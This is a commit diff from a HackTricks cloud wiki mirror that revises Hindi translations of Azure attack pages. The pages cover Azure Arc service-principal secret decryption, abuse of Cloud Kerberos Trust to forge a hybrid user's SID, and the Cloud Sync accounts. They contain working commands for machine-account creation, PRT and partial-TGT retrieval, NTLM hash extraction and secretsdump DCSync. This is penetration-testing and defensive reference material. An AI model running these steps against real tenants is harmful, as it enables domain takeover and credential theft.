mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-26 04:41:55 -08:00
Translated ['src/pentesting-cloud/azure-security/az-lateral-movement-clo
This commit is contained in:
Translator
@@ -28,7 +28,7 @@
|
||||
|
||||
- [**Pass the Cookie**](az-pass-the-cookie.md): ब्राउज़र से Azure कुकीज़ चुराएं और उनका उपयोग करके लॉगिन करें।
|
||||
|
||||
- [**Primary Refresh Token/Pass the PRT/Phishing PRT**](az-primary-refresh-token-prt.md): PRT क्या है, इसे कैसे चुराएं और उपयोगकर्ता का अनुकरण करते हुए Azure संसाधनों तक पहुंच प्राप्त करने के लिए इसका उपयोग कैसे करें।
|
||||
- [**Primary Refresh Token/Pass the PRT/Phishing PRT**](az-primary-refresh-token-prt.md): PRT क्या है, इसे कैसे चुराएं और उपयोगकर्ता का अनुकरण करते हुए Azure संसाधनों तक पहुंचने के लिए इसका उपयोग कैसे करें।
|
||||
|
||||
- [**PtA - Pass through Authentication**](az-pta-pass-through-authentication.md): क्लाउड से ऑन-प्रिमिसेज AD में और इसके विपरीत जाने के लिए Pass-through Authentication का दुरुपयोग कैसे करें।
|
||||
|
||||
|
||||
@@ -4,16 +4,16 @@
|
||||
|
||||
### समस्याओं की पहचान करना
|
||||
|
||||
Azure Arc नए आंतरिक सर्वरों (जुड़े हुए डोमेन सर्वर) को Azure Arc में Group Policy Object विधि का उपयोग करके एकीकृत करने की अनुमति देता है। इसे सुविधाजनक बनाने के लिए, Microsoft एक तैनाती उपकरण प्रदान करता है जो ऑनबोर्डिंग प्रक्रिया को प्रारंभ करने के लिए आवश्यक है। ArcEnableServerGroupPolicy.zip फ़ाइल के अंदर, निम्नलिखित स्क्रिप्टें पाई जा सकती हैं: DeployGPO.ps1, EnableAzureArc.ps1, और AzureArcDeployment.psm1।
|
||||
Azure Arc नए आंतरिक सर्वरों (जुड़े हुए डोमेन सर्वर) को Azure Arc में Group Policy Object विधि का उपयोग करके एकीकृत करने की अनुमति देता है। इसे सुविधाजनक बनाने के लिए, Microsoft एक तैनाती टूलकिट प्रदान करता है जो ऑनबोर्डिंग प्रक्रिया को प्रारंभ करने के लिए आवश्यक है। ArcEnableServerGroupPolicy.zip फ़ाइल के अंदर, निम्नलिखित स्क्रिप्टें पाई जा सकती हैं: DeployGPO.ps1, EnableAzureArc.ps1, और AzureArcDeployment.psm1।
|
||||
|
||||
जब इसे निष्पादित किया जाता है, तो DeployGPO.ps1 स्क्रिप्ट निम्नलिखित कार्य करती है:
|
||||
|
||||
1. स्थानीय डोमेन के भीतर Azure Arc Servers Onboarding GPO बनाती है।
|
||||
2. EnableAzureArc.ps1 ऑनबोर्डिंग स्क्रिप्ट को ऑनबोर्डिंग प्रक्रिया के लिए बनाए गए निर्दिष्ट नेटवर्क शेयर में कॉपी करती है, जिसमें Windows इंस्टॉलर पैकेज भी शामिल है।
|
||||
|
||||
इस स्क्रिप्ट को चलाते समय, सिस्टम प्रशासकों को दो मुख्य पैरामीटर प्रदान करने की आवश्यकता होती है: **ServicePrincipalId** और **ServicePrincipalClientSecret**। इसके अतिरिक्त, इसे डोमेन, शेयर होस्ट करने वाले सर्वर का FQDN, और शेयर नाम जैसे अन्य पैरामीटर की भी आवश्यकता होती है। स्क्रिप्ट को टेनेट आईडी, संसाधन समूह, और अन्य आवश्यक जानकारी जैसे विवरण भी प्रदान करने होंगे।
|
||||
इस स्क्रिप्ट को चलाते समय, सिस्टम प्रशासकों को दो मुख्य पैरामीटर प्रदान करने की आवश्यकता होती है: **ServicePrincipalId** और **ServicePrincipalClientSecret**। इसके अतिरिक्त, इसमें अन्य पैरामीटर जैसे डोमेन, शेयर होस्ट करने वाले सर्वर का FQDN, और शेयर नाम की आवश्यकता होती है। स्क्रिप्ट को टेनेट ID, संसाधन समूह, और अन्य आवश्यक जानकारी भी प्रदान करनी होती है।
|
||||
|
||||
एक एन्क्रिप्टेड सीक्रेट निर्दिष्ट शेयर पर AzureArcDeploy निर्देशिका में DPAPI-NG एन्क्रिप्शन का उपयोग करके उत्पन्न होता है। एन्क्रिप्टेड सीक्रेट को encryptedServicePrincipalSecret नामक फ़ाइल में संग्रहीत किया जाता है। इसका प्रमाण DeployGPO.ps1 स्क्रिप्ट में पाया जा सकता है, जहां एन्क्रिप्शन को $descriptor और $ServicePrincipalSecret को इनपुट के रूप में कॉल करके किया जाता है। डिस्क्रिप्टर में Domain Computer और Domain Controller समूह SIDs शामिल होते हैं, यह सुनिश्चित करते हुए कि ServicePrincipalSecret केवल Domain Controllers और Domain Computers सुरक्षा समूहों द्वारा डिक्रिप्ट किया जा सकता है, जैसा कि स्क्रिप्ट टिप्पणियों में उल्लेख किया गया है।
|
||||
एक एन्क्रिप्टेड सीक्रेट निर्दिष्ट शेयर पर AzureArcDeploy निर्देशिका में DPAPI-NG एन्क्रिप्शन का उपयोग करके उत्पन्न होता है। एन्क्रिप्टेड सीक्रेट को encryptedServicePrincipalSecret नामक फ़ाइल में संग्रहीत किया जाता है। इसका प्रमाण DeployGPO.ps1 स्क्रिप्ट में पाया जा सकता है, जहां एन्क्रिप्शन को $descriptor और $ServicePrincipalSecret को इनपुट के रूप में कॉल करके ProtectBase64 द्वारा किया जाता है। डिस्क्रिप्टर में Domain Computer और Domain Controller समूह SIDs शामिल होते हैं, यह सुनिश्चित करते हुए कि ServicePrincipalSecret केवल Domain Controllers और Domain Computers सुरक्षा समूहों द्वारा ही डिक्रिप्ट किया जा सकता है, जैसा कि स्क्रिप्ट टिप्पणियों में उल्लेख किया गया है।
|
||||
```bash
|
||||
# Encrypting the ServicePrincipalSecret to be decrypted only by the Domain Controllers and the Domain Computers security groups
|
||||
$DomainComputersSID = "SID=" + $DomainComputersSID
|
||||
@@ -35,7 +35,7 @@ AD वातावरण में एक मशीन खाते को प
|
||||
Import-MKodule powermad
|
||||
New-MachineAccount -MachineAccount fake01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
|
||||
```
|
||||
एक बार जब एक मशीन खाता प्राप्त हो जाता है, तो इस खाते का उपयोग करके प्रमाणीकरण करना संभव है। हम या तो netonly ध्वज के साथ runas.exe कमांड का उपयोग कर सकते हैं या Rubeus.exe के साथ पास-दी-टिकट का उपयोग कर सकते हैं।
|
||||
एक बार मशीन खाता प्राप्त हो जाने पर, इस खाते का उपयोग करके प्रमाणीकरण करना संभव है। हम या तो netonly ध्वज के साथ runas.exe कमांड का उपयोग कर सकते हैं या Rubeus.exe के साथ पास-दी-टिकट का उपयोग कर सकते हैं।
|
||||
```bash
|
||||
runas /user:fake01$ /netonly powershell
|
||||
```
|
||||
|
||||
@@ -1,16 +1,16 @@
|
||||
# Az - Cloud Kerberos Trust
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
**यह पोस्ट** [**https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/**](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) **से एक सारांश है, जिसे हमले के बारे में अधिक जानकारी के लिए जांचा जा सकता है। इस तकनीक पर भी टिप्पणी की गई है** [**https://www.youtube.com/watch?v=AFay_58QubY**](https://www.youtube.com/watch?v=AFay_58QubY)**।**
|
||||
**यह पोस्ट** [**https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/**](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) **से एक सारांश है, जिसे हमले के बारे में अधिक जानकारी के लिए चेक किया जा सकता है। इस तकनीक पर भी टिप्पणी की गई है** [**https://www.youtube.com/watch?v=AFay_58QubY**](https://www.youtube.com/watch?v=AFay_58QubY)**।**
|
||||
|
||||
## Kerberos Trust Relationship Overview
|
||||
|
||||
**Cloud Kerberos Trust (Entra ID -> AD)** -- यह सुविधा (Windows Hello for Business का हिस्सा) एक-तरफा विश्वास स्थापित करती है जहां ऑन-प्रेम AD **Entra ID** पर भरोसा करता है कि वह AD के लिए Kerberos टिकट जारी करे। इसे सक्षम करने पर AD में एक **AzureADKerberos$** कंप्यूटर ऑब्जेक्ट (जो Read-Only Domain Controller के रूप में प्रकट होता है) और एक लिंक किया गया **`krbtgt_AzureAD`** खाता (एक द्वितीयक KRBTGT) बनता है। Entra ID इन खातों के लिए कुंजी रखता है और AD उपयोगकर्ताओं के लिए "आंशिक" Kerberos TGT जारी कर सकता है। AD डोमेन नियंत्रक इन टिकटों का सम्मान करेंगे, लेकिन RODC-जैसी सीमाओं के साथ: डिफ़ॉल्ट रूप से, **उच्च-विशेषाधिकार समूह (Domain Admins, Enterprise Admins, आदि) को *अस्वीकृत* किया गया है** और सामान्य उपयोगकर्ताओं को अनुमति दी गई है। यह सामान्य परिस्थितियों में Entra ID को डोमेन प्रशासकों को विश्वास के माध्यम से प्रमाणित करने से रोकता है। हालाँकि, जैसा कि हम देखेंगे, पर्याप्त Entra ID विशेषाधिकार वाला एक हमलावर इस विश्वास डिज़ाइन का दुरुपयोग कर सकता है।
|
||||
**Cloud Kerberos Trust (Entra ID -> AD)** -- यह सुविधा (Windows Hello for Business का हिस्सा) एक-तरफा विश्वास स्थापित करती है जहां ऑन-प्रेम AD **Entra ID** पर भरोसा करता है कि वह AD के लिए Kerberos टिकट जारी करे। इसे सक्षम करने से AD में एक **AzureADKerberos$** कंप्यूटर ऑब्जेक्ट बनता है (जो Read-Only Domain Controller के रूप में प्रकट होता है) और एक लिंक किया गया **`krbtgt_AzureAD`** खाता (एक द्वितीयक KRBTGT)। Entra ID इन खातों के लिए कुंजी रखता है और AD उपयोगकर्ताओं के लिए "आंशिक" Kerberos TGTs जारी कर सकता है। AD डोमेन नियंत्रक इन टिकटों का सम्मान करेंगे, लेकिन RODC-जैसी प्रतिबंधों के साथ: डिफ़ॉल्ट रूप से, **उच्च-विशेषाधिकार समूह (Domain Admins, Enterprise Admins, आदि) को *अस्वीकृत* किया गया है** और सामान्य उपयोगकर्ताओं को अनुमति दी गई है। यह सामान्य परिस्थितियों में Entra ID को डोमेन प्रशासकों को विश्वास के माध्यम से प्रमाणित करने से रोकता है। हालाँकि, जैसा कि हम देखेंगे, पर्याप्त Entra ID विशेषाधिकार वाला एक हमलावर इस विश्वास डिज़ाइन का दुरुपयोग कर सकता है।
|
||||
|
||||
## Pivoting from Entra ID to On-Prem AD
|
||||
|
||||
**परिदृश्य:** लक्षित संगठन ने पासवर्ड रहित प्रमाणीकरण के लिए **Cloud Kerberos Trust** सक्षम किया है। एक हमलावर ने Entra ID (Azure AD) में **Global Administrator** विशेषाधिकार प्राप्त कर लिए हैं लेकिन अभी तक ऑन-प्रेम AD को नियंत्रित नहीं किया है। हमलावर के पास एक डोमेन नियंत्रक (VPN या हाइब्रिड नेटवर्क में Azure VM के माध्यम से) तक नेटवर्क पहुंच के साथ एक पैर जमाने का स्थान भी है। क्लाउड ट्रस्ट का उपयोग करते हुए, हमलावर Azure AD नियंत्रण का लाभ उठाकर AD में **Domain Admin**-स्तरीय पैर जमाने की स्थिति प्राप्त कर सकता है।
|
||||
**परिदृश्य:** लक्षित संगठन ने **Cloud Kerberos Trust** को पासवर्ड रहित प्रमाणीकरण के लिए सक्षम किया है। एक हमलावर ने Entra ID (Azure AD) में **Global Administrator** विशेषाधिकार प्राप्त कर लिए हैं लेकिन अभी तक ऑन-प्रेम AD को नियंत्रित नहीं किया है। हमलावर के पास एक डोमेन नियंत्रक (VPN या हाइब्रिड नेटवर्क में Azure VM के माध्यम से) तक नेटवर्क पहुंच के साथ एक पैर जमाने का स्थान भी है। क्लाउड ट्रस्ट का उपयोग करते हुए, हमलावर Azure AD नियंत्रण का लाभ उठाकर AD में **Domain Admin**-स्तरीय पैर जमाने का स्थान प्राप्त कर सकता है।
|
||||
|
||||
**पूर्वापेक्षाएँ:**
|
||||
|
||||
@@ -18,7 +18,7 @@
|
||||
|
||||
- हमलावर के पास Entra ID टेनेन्ट में **Global Admin (या Hybrid Identity Admin)** अधिकार हैं (ये भूमिकाएँ AD Connect **सिंक्रनाइज़ेशन API** का उपयोग करके Azure AD उपयोगकर्ताओं को संशोधित कर सकती हैं)।
|
||||
|
||||
- कम से कम एक **हाइब्रिड उपयोगकर्ता खाता** (जो AD और AAD दोनों में मौजूद है) है जिसे हमलावर प्रमाणित कर सकता है। इसे इसके क्रेडेंशियल्स को जानकर या रीसेट करके या इसे एक पासवर्ड रहित विधि (जैसे, एक अस्थायी एक्सेस पास) सौंपकर प्राथमिक रिफ्रेश टोकन (PRT) उत्पन्न करने के लिए प्राप्त किया जा सकता है।
|
||||
- कम से कम एक **हाइब्रिड उपयोगकर्ता खाता** (जो AD और AAD दोनों में मौजूद है) है जिसे हमलावर प्रमाणित कर सकता है। इसे उसके क्रेडेंशियल्स को जानकर या रीसेट करके या एक पासवर्ड रहित विधि (जैसे, एक अस्थायी एक्सेस पास) को असाइन करके प्राथमिक रिफ्रेश टोकन (PRT) उत्पन्न करने के लिए प्राप्त किया जा सकता है।
|
||||
|
||||
- एक **ऑन-प्रेम AD लक्ष्य खाता** जिसमें उच्च विशेषाधिकार हैं जो डिफ़ॉल्ट RODC "अस्वीकृति" नीति में *नहीं* है। व्यावहारिक रूप से, एक अच्छा लक्ष्य **AD Connect सिंक खाता** है (जिसे अक्सर **MSOL_*** कहा जाता है), जिसमें AD में DCSync (प्रतिकृति) अधिकार होते हैं लेकिन यह आमतौर पर अंतर्निहित प्रशासनिक समूहों का सदस्य नहीं होता है। यह खाता आमतौर पर Entra ID के साथ समन्वयित नहीं होता है, जिससे इसके SID को बिना संघर्ष के अनुकरण करने के लिए उपलब्ध कराया जा सकता है।
|
||||
|
||||
@@ -31,36 +31,36 @@ roadtx gettokens -u <GlobalAdminUPN> -p <Password> --resource aadgraph
|
||||
```
|
||||
*(वैकल्पिक रूप से, AADInternals' `Connect-AADInt` का उपयोग Global Admin के रूप में प्रमाणित करने के लिए किया जा सकता है।)*
|
||||
|
||||
2. **हाइब्रिड उपयोगकर्ता के ऑन-प्रेम विशेषताओं को संशोधित करें:** Azure AD **सिंक्रनाइज़ेशन API** का उपयोग करके एक चुने हुए हाइब्रिड उपयोगकर्ता के **onPremises Security Identifier (SID)** और **onPremises SAMAccountName** को लक्षित AD खाते से मेल खाने के लिए सेट करें। यह प्रभावी रूप से Azure AD को बताता है कि क्लाउड उपयोगकर्ता उस ऑन-प्रेम खाते से मेल खाता है जिसे हम अनुकरण करना चाहते हैं। ओपन-सोर्स **ROADtools Hybrid** टूलकिट का उपयोग करते हुए:
|
||||
2. **हाइब्रिड उपयोगकर्ता के ऑन-प्रेम गुणों में संशोधन करें:** Azure AD **सिंक्रनाइज़ेशन API** का उपयोग करके एक चुने हुए हाइब्रिड उपयोगकर्ता के **onPremises Security Identifier (SID)** और **onPremises SAMAccountName** को लक्षित AD खाते से मेल खाने के लिए सेट करें। यह प्रभावी रूप से Azure AD को बताता है कि क्लाउड उपयोगकर्ता उस ऑन-प्रेम खाते से मेल खाता है जिसे हम अनुकरण करना चाहते हैं। ओपन-सोर्स **ROADtools Hybrid** टूलकिट का उपयोग करते हुए:
|
||||
```bash
|
||||
# Example: modify a hybrid user to impersonate the MSOL account
|
||||
python3 modifyuser.py -u <GlobalAdminUPN> -p <Password>\
|
||||
--sourceanchor <ImmutableID_of_User>\
|
||||
--sid <TargetAD_SID> --sam <TargetAD_SAMName>
|
||||
```
|
||||
> उपयोगकर्ता का `sourceAnchor` (अपरिवर्तनीय ID) Azure AD ऑब्जेक्ट की पहचान के लिए आवश्यक है जिसे संशोधित करना है। उपकरण हाइब्रिड उपयोगकर्ता का ऑन-प्रेम SID और SAM खाता नाम लक्षित के मानों (जैसे, MSOL_xxxx खाते का SID और SAM) पर सेट करता है। Azure AD सामान्यतः ग्राफ़ के माध्यम से इन विशेषताओं को बदलने की अनुमति नहीं देता (ये केवल पढ़ने के लिए हैं), लेकिन सिंक सेवा API इसकी अनुमति देती है और ग्लोबल एडमिन इस सिंक कार्यक्षमता को सक्रिय कर सकते हैं।
|
||||
> उपयोगकर्ता का `sourceAnchor` (अपरिवर्तनीय ID) Azure AD ऑब्जेक्ट की पहचान के लिए आवश्यक है जिसे संशोधित करना है। उपकरण हाइब्रिड उपयोगकर्ता का ऑन-प्रेम SID और SAM खाता नाम को लक्षित के मानों (जैसे, MSOL_xxxx खाते का SID और SAM) पर सेट करता है। Azure AD सामान्यतः ग्राफ़ के माध्यम से इन विशेषताओं को बदलने की अनुमति नहीं देता (ये केवल पढ़ने के लिए हैं), लेकिन सिंक सेवा API इसे अनुमति देती है और ग्लोबल एडमिन इस सिंक कार्यक्षमता को सक्रिय कर सकते हैं।
|
||||
|
||||
3. **Azure AD से आंशिक TGT प्राप्त करें:** संशोधन के बाद, हाइब्रिड उपयोगकर्ता के रूप में Azure AD में प्रमाणीकरण करें (उदाहरण के लिए, किसी डिवाइस पर PRT प्राप्त करके या उनके क्रेडेंशियल का उपयोग करके)। जब उपयोगकर्ता साइन इन करता है (विशेष रूप से एक डोमेन-जोड़े या Entra जुड़े Windows डिवाइस पर), Azure AD उस खाते के लिए **आंशिक Kerberos TGT (TGT**<sub>**AD**</sub>) जारी करेगा क्योंकि Cloud Kerberos Trust सक्षम है। यह आंशिक TGT AzureADKerberos$ RODC कुंजी के साथ एन्क्रिप्ट किया गया है और इसमें **लक्षित SID** शामिल है जिसे हमने सेट किया है। हम ROADtools के माध्यम से उपयोगकर्ता के लिए PRT का अनुरोध करके इसका अनुकरण कर सकते हैं:
|
||||
3. **Azure AD से एक आंशिक TGT प्राप्त करें:** संशोधन के बाद, हाइब्रिड उपयोगकर्ता के रूप में Azure AD में प्रमाणीकरण करें (उदाहरण के लिए, किसी डिवाइस पर PRT प्राप्त करके या उनके क्रेडेंशियल का उपयोग करके)। जब उपयोगकर्ता साइन इन करता है (विशेष रूप से एक डोमेन-जोड़े गए या Entra जुड़े Windows डिवाइस पर), Azure AD उस खाते के लिए एक **आंशिक Kerberos TGT (TGT**<sub>**AD**</sub>) जारी करेगा क्योंकि Cloud Kerberos Trust सक्षम है। यह आंशिक TGT AzureADKerberos$ RODC कुंजी के साथ एन्क्रिप्ट किया गया है और इसमें **लक्षित SID** शामिल है जिसे हमने सेट किया है। हम ROADtools के माध्यम से उपयोगकर्ता के लिए PRT का अनुरोध करके इसका अनुकरण कर सकते हैं:
|
||||
```bash
|
||||
roadtx getprt -u <HybridUserUPN> -p <Password> -d <DeviceID_or_Cert>
|
||||
```
|
||||
यह एक `.prt` फ़ाइल आउटपुट करता है जिसमें आंशिक TGT और सत्र कुंजी होती है। यदि खाता केवल क्लाउड पासवर्ड था, तो Azure AD अभी भी PRT प्रतिक्रिया में एक TGT_AD शामिल करता है।
|
||||
|
||||
4. **Exchange Partial TGT for Full TGT (on AD):** आंशिक TGT को अब ऑन-प्रेम डोमेन कंट्रोलर को प्रस्तुत किया जा सकता है ताकि लक्षित खाते के लिए **पूर्ण TGT** प्राप्त किया जा सके। हम इसे `krbtgt` सेवा (डोमेन की प्राथमिक TGT सेवा) के लिए TGS अनुरोध करके करते हैं -- मूल रूप से टिकट को पूर्ण PAC के साथ सामान्य TGT में अपग्रेड करना। इस विनिमय को स्वचालित करने के लिए उपकरण उपलब्ध हैं। उदाहरण के लिए, ROADtools Hybrid के स्क्रिप्ट का उपयोग करते हुए:
|
||||
4. **Exchange Partial TGT for Full TGT (on AD):** आंशिक TGT को अब ऑन-प्रेम डोमेन कंट्रोलर के सामने प्रस्तुत किया जा सकता है ताकि लक्षित खाते के लिए **पूर्ण TGT** प्राप्त किया जा सके। हम इसे `krbtgt` सेवा (डोमेन की प्राथमिक TGT सेवा) के लिए TGS अनुरोध करके करते हैं -- मूल रूप से टिकट को पूर्ण PAC के साथ सामान्य TGT में अपग्रेड करना। इस विनिमय को स्वचालित करने के लिए उपकरण उपलब्ध हैं। उदाहरण के लिए, ROADtools Hybrid के स्क्रिप्ट का उपयोग करते हुए:
|
||||
```bash
|
||||
# Use the partial TGT from the PRT file to get a full TGT and NTLM hash
|
||||
python3 partialtofulltgt.py -p roadtx.prt -o full_tgt.ccache --extract-hash
|
||||
```
|
||||
यह स्क्रिप्ट (या Impacket समकक्ष) डोमेन कंट्रोलर से संपर्क करेगी और लक्षित AD खाते के लिए एक मान्य TGT प्राप्त करेगी, जिसमें विशेष Kerberos एक्सटेंशन का उपयोग करने पर खाते का NTLM हैश शामिल है। **`KERB-KEY-LIST-REQ`** एक्सटेंशन स्वचालित रूप से शामिल किया गया है ताकि DC से लक्षित खाते का NTLM हैश एन्क्रिप्टेड उत्तर में लौटाने के लिए कहा जा सके। परिणाम एक क्रेडेंशियल कैश (`full_tgt.ccache`) है लक्षित खाते के लिए *या* पुनर्प्राप्त NTLM पासवर्ड हैश।
|
||||
|
||||
5. **लक्षित व्यक्ति का अनुकरण करें और डोमेन एडमिन में वृद्धि करें:** अब हमलावर प्रभावी रूप से **लक्षित AD खाते को नियंत्रित करता है**। उदाहरण के लिए, यदि लक्षित AD कनेक्ट **MSOL खाता** था, तो इसके पास निर्देशिका पर पुनरुत्पादन अधिकार हैं। हमलावर उस खाते की क्रेडेंशियल्स या Kerberos TGT का उपयोग करके AD से पासवर्ड हैश को डंप करने के लिए **DCSync** हमले को अंजाम दे सकता है (जिसमें डोमेन KRBTGT खाता शामिल है)। उदाहरण के लिए:
|
||||
5. **लक्षित व्यक्ति का अनुकरण करें और डोमेन एडमिन में वृद्धि करें:** अब हमलावर प्रभावी रूप से **लक्षित AD खाते को नियंत्रित करता है**। उदाहरण के लिए, यदि लक्षित AD कनेक्ट **MSOL खाता** था, तो इसके पास निर्देशिका पर पुनरुत्पादन अधिकार हैं। हमलावर उस खाते के क्रेडेंशियल या Kerberos TGT का उपयोग करके AD से पासवर्ड हैश को डंप करने के लिए **DCSync** हमले को अंजाम दे सकता है (जिसमें डोमेन KRBTGT खाता शामिल है)। उदाहरण के लिए:
|
||||
```bash
|
||||
# Using impacket's secretsdump to DCSync as the MSOL account (using NTLM hash)
|
||||
secretsdump.py 'AD_DOMAIN/<TargetSAM>$@<DC_IP>' -hashes :<NTLM_hash> LOCAL
|
||||
```
|
||||
यह सभी AD उपयोगकर्ता पासवर्ड हैश को डंप करता है, हमलावर को KRBTGT हैश देता है (जिससे वे इच्छानुसार डोमेन Kerberos टिकट बना सकते हैं) और प्रभावी रूप से **डोमेन एडमिन** विशेषाधिकार प्रदान करता है। यदि लक्षित खाता कोई अन्य विशेषाधिकार प्राप्त उपयोगकर्ता होता, तो हमलावर उस उपयोगकर्ता के रूप में किसी भी डोमेन संसाधन तक पहुँचने के लिए पूर्ण TGT का उपयोग कर सकता था।
|
||||
|
||||
6. **सफाई:** वैकल्पिक रूप से, हमलावर उसी API के माध्यम से संशोधित Azure AD उपयोगकर्ता का मूल `onPremisesSAMAccountName` और SID पुनर्स्थापित कर सकता है या बस किसी भी अस्थायी उपयोगकर्ता को हटा सकता है। कई मामलों में, अगला Azure AD कनेक्ट सिंक चक्र स्वचालित रूप से समन्वयित विशेषताओं पर अनधिकृत परिवर्तनों को पूर्ववत कर देगा। (हालांकि, इस बिंदु तक नुकसान हो चुका है -- हमलावर के पास DA विशेषाधिकार हैं।)
|
||||
6. **सफाई:** वैकल्पिक रूप से, हमलावर उसी API के माध्यम से संशोधित Azure AD उपयोगकर्ता के मूल `onPremisesSAMAccountName` और SID को पुनर्स्थापित कर सकता है या बस किसी भी अस्थायी उपयोगकर्ता को हटा सकता है। कई मामलों में, अगला Azure AD कनेक्ट सिंक चक्र स्वचालित रूप से समन्वयित विशेषताओं पर अनधिकृत परिवर्तनों को पूर्ववत कर देगा। (हालांकि, इस बिंदु तक नुकसान हो चुका है -- हमलावर के पास DA विशेषाधिकार हैं।)
|
||||
|
||||
> [!WARNING]
|
||||
> क्लाउड ट्रस्ट और सिंक तंत्र का दुरुपयोग करके, Azure AD का एक ग्लोबल एडमिन लगभग *किसी भी* AD खाते का अनुकरण कर सकता है जिसे RODC नीति द्वारा स्पष्ट रूप से सुरक्षित नहीं किया गया है, भले ही उस खाते को कभी क्लाउड-सिंक नहीं किया गया हो। एक डिफ़ॉल्ट कॉन्फ़िगरेशन में, यह **Azure AD समझौते से ऑन-प्रेम AD समझौते तक एक पूर्ण विश्वास को जोड़ता है**।
|
||||
@@ -69,4 +69,4 @@ secretsdump.py 'AD_DOMAIN/<TargetSAM>$@<DC_IP>' -hashes :<NTLM_hash> LOCAL
|
||||
|
||||
- [Obtaining Domain Admin from Azure AD via Cloud Kerberos Trust](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,31 +1,31 @@
|
||||
# Az - Cloud Sync
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
|
||||
**Cloud Sync** मूल रूप से Azure का नया तरीका है **AD से Entra ID में उपयोगकर्ताओं को समन्वयित करने के लिए**।
|
||||
|
||||
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/what-is-cloud-sync) Microsoft Entra Cloud Sync Microsoft द्वारा एक नई पेशकश है जो उपयोगकर्ताओं, समूहों और संपर्कों को Microsoft Entra ID में समन्वयित करने के लिए आपके हाइब्रिड पहचान लक्ष्यों को पूरा करने और प्राप्त करने के लिए डिज़ाइन की गई है। यह Microsoft Entra Connect एप्लिकेशन के बजाय Microsoft Entra क्लाउड प्रोविजनिंग एजेंट का उपयोग करके इसे पूरा करता है। हालाँकि, इसे Microsoft Entra Connect Sync के साथ भी उपयोग किया जा सकता है।
|
||||
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/what-is-cloud-sync) Microsoft Entra Cloud Sync Microsoft द्वारा एक नई पेशकश है जो उपयोगकर्ताओं, समूहों और संपर्कों को Microsoft Entra ID में समन्वयित करने के लिए आपके हाइब्रिड पहचान लक्ष्यों को पूरा करने और हासिल करने के लिए डिज़ाइन की गई है। यह Microsoft Entra Connect एप्लिकेशन के बजाय Microsoft Entra क्लाउड प्रोविजनिंग एजेंट का उपयोग करके इसे पूरा करता है। हालाँकि, इसे Microsoft Entra Connect Sync के साथ भी उपयोग किया जा सकता है।
|
||||
|
||||
### Principals Generated
|
||||
|
||||
इस कार्य के लिए कुछ प्रिंसिपल Entra ID और On-Premise डायरेक्टरी में बनाए जाते हैं:
|
||||
इसका काम करने के लिए कुछ प्रिंसिपल Entra ID और On-Premise डायरेक्टरी में बनाए जाते हैं:
|
||||
|
||||
- Entra ID में उपयोगकर्ता `On-Premises Directory Synchronization Service Account` (`ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com`) को **`Directory Synchronization Accounts`** (`d29b2b05-8046-44ba-8758-1e26182fcf32`) भूमिका के साथ बनाया गया है।
|
||||
- Entra ID में उपयोगकर्ता `On-Premises Directory Synchronization Service Account` (`ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com`) को **`Directory Synchronization Accounts`** (`d29b2b05-8046-44ba-8758-1e26182fcf32`) भूमिका के साथ बनाया जाता है।
|
||||
|
||||
> [!WARNING]
|
||||
> इस भूमिका में पहले बहुत सारे विशेषाधिकार थे और इसका उपयोग [**विशेषाधिकारों को वैश्विक व्यवस्थापक तक बढ़ाने के लिए किया जा सकता था**](https://medium.com/tenable-techblog/stealthy-persistence-with-directory-synchronization-accounts-role-in-entra-id-63e56ce5871b)। हालाँकि, Microsoft ने इस भूमिका के सभी विशेषाधिकारों को हटाने और इसे केवल एक नए **`microsoft.directory/onPremisesSynchronization/standard/read`** के साथ असाइन करने का निर्णय लिया है जो वास्तव में किसी भी विशेषाधिकार कार्रवाई (जैसे उपयोगकर्ता का पासवर्ड या विशेषताओं को संशोधित करना या SP में एक नई क्रेडेंशियल जोड़ना) करने की अनुमति नहीं देता है।
|
||||
> इस भूमिका के पास पहले बहुत सारे विशेषाधिकार थे और इसका उपयोग [**विशेषाधिकारों को वैश्विक व्यवस्थापक तक बढ़ाने के लिए किया जा सकता था**](https://medium.com/tenable-techblog/stealthy-persistence-with-directory-synchronization-accounts-role-in-entra-id-63e56ce5871b)। हालाँकि, Microsoft ने इस भूमिका के सभी विशेषाधिकारों को हटाने और इसे केवल एक नए **`microsoft.directory/onPremisesSynchronization/standard/read`** के साथ असाइन करने का निर्णय लिया है, जो वास्तव में किसी भी विशेषाधिकार कार्रवाई (जैसे उपयोगकर्ता का पासवर्ड या विशेषताओं को संशोधित करना या SP में एक नई क्रेडेंशियल जोड़ना) करने की अनुमति नहीं देता है।
|
||||
|
||||
- Entra ID में समूह **`AAD DC Administrators`** भी बिना सदस्यों या मालिकों के बनाया गया है। यह समूह उपयोगी है यदि [`Microsoft Entra Domain Services`](./az-domain-services.md) का उपयोग किया जाता है।
|
||||
- Entra ID में समूह **`AAD DC Administrators`** बिना सदस्यों या मालिकों के बनाया जाता है। यह समूह उपयोगी है यदि [`Microsoft Entra Domain Services`](./az-domain-services.md) का उपयोग किया जाता है।
|
||||
|
||||
